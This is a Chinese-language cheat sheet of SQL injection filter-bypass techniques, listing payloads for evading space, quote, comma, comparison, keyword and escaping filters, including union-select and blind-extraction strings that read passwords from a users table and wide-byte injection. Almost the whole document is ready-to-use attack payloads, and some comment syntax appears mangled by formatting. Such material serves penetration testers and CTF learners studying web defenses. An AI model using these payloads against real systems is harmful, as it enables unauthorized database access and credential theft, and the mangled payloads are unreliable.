SQL注入绕过总结

空格被过滤
使用以下编码字符可进行绕过:

%20 %09 %0a %0b %0c %0d %a0 %00 /*/ /注释*/


括号绕过空格
适用场景:
空格被过滤,括号未被过滤
例如:

select(user())from database where(1=1)and(2=2)
id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23


引号绕过(用十六进制)
适用场景:
引号被过滤
例如:以下的引号被过滤,采用users的十六进制可以绕过(转换后前加0x)
十六进制编码网站:
https://www.sojson.com/hexadecimal.html

select column_name from information_schema.tables where table_name=”users”
select column_name from information_schema.tables where table_name=0x7573657273


逗号绕过
适用场景:
需要使用substr()、mid()、limit等。
例如:使用from for

select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
使用join:

union select 1,2 #等价于
union select * from (select 1)a join (select 2)b
使用like:

select ascii(mid(user(),1,1))=80 #等价于
select user() like ‘r%’
limit可以使用offset:

select * from news limit 0,1

等价于下面这条SQL语句

select * from news limit 1 offset 0


比较符号绕过
适用场景:
<>被过滤
例如:使用greatest()、least(),分别返回最大值和最小值,greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值

select * from users where id=1 and ascii(substr(database(),0,1))>64
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
使用between and:

between a and b;
between 1 and 1; #等价于 =1
or and xor not绕过
适用场景:
and、or、 xor、not被过滤
例如:

and=&& or=|| xor=| not=!


注释符号绕过
适用场景:
注释符#,–加空格被过滤
例如:

id=1′ union select 1,2,3||’1


最后的or ‘1闭合查询语句的最后的单引号,或者:

id=1′ union select 1,2,’3


等号绕过
适用场景:
union、select、where被过滤
例如:
使用注释符绕过

//,– , //, #, –+, — -, ;,%00,–a U// NION // SE// LECT /**/user,pwd from user


大小写绕过

id=-1’UnIoN/**/SeLeCT


内联注释绕过

id=-1’/!UnIoN/ SeLeCT 1,2,concat(/!table_name/) FrOM /information_schema/.tables /*!WHERE *//!TaBlE_ScHeMa/ like database()#


双写绕过

id=-1’UNIunionONSeLselectECT1,2,3–-


编码绕过
适用场景:
网页对编码字符未过滤
例如:

or 1=1等价于%6f%72%20%31%3d%31


函数替代绕过
适用场景:
某些关键函数被过滤(sleep()等)
例如:

hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()


举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 
或者:


substr((select ‘password’),1,1) = 0x70
strcmp(left(‘password’,1), 0x69) = 1
strcmp(left(‘password’,1), 0x70) = 0
strcmp(left(‘password’,1), 0x71) = -1


宽字节注入绕过
适用场景:
所输入的单双引号会被转义
例如:

?id=1′ and 1=1#
?id=1%df’ and 1=1#


其他绕过
使用冗杂字符%23%0a
例如:

id=1′ and%23%0a 1%23%0a=1
id=1′ union%23aaa%0aselect 1,2,3–+

id=1′ /!14440order by/3–+
id=1′ /!14440union//!14440select/1,2,3–+

id=1’and -1=-1
id=1’and -1=-2
id=1’and ~1=~1
id=1’and ~1=~2
id=1′ and BINARY 1 –+
id=1′ and BINARY 0 –+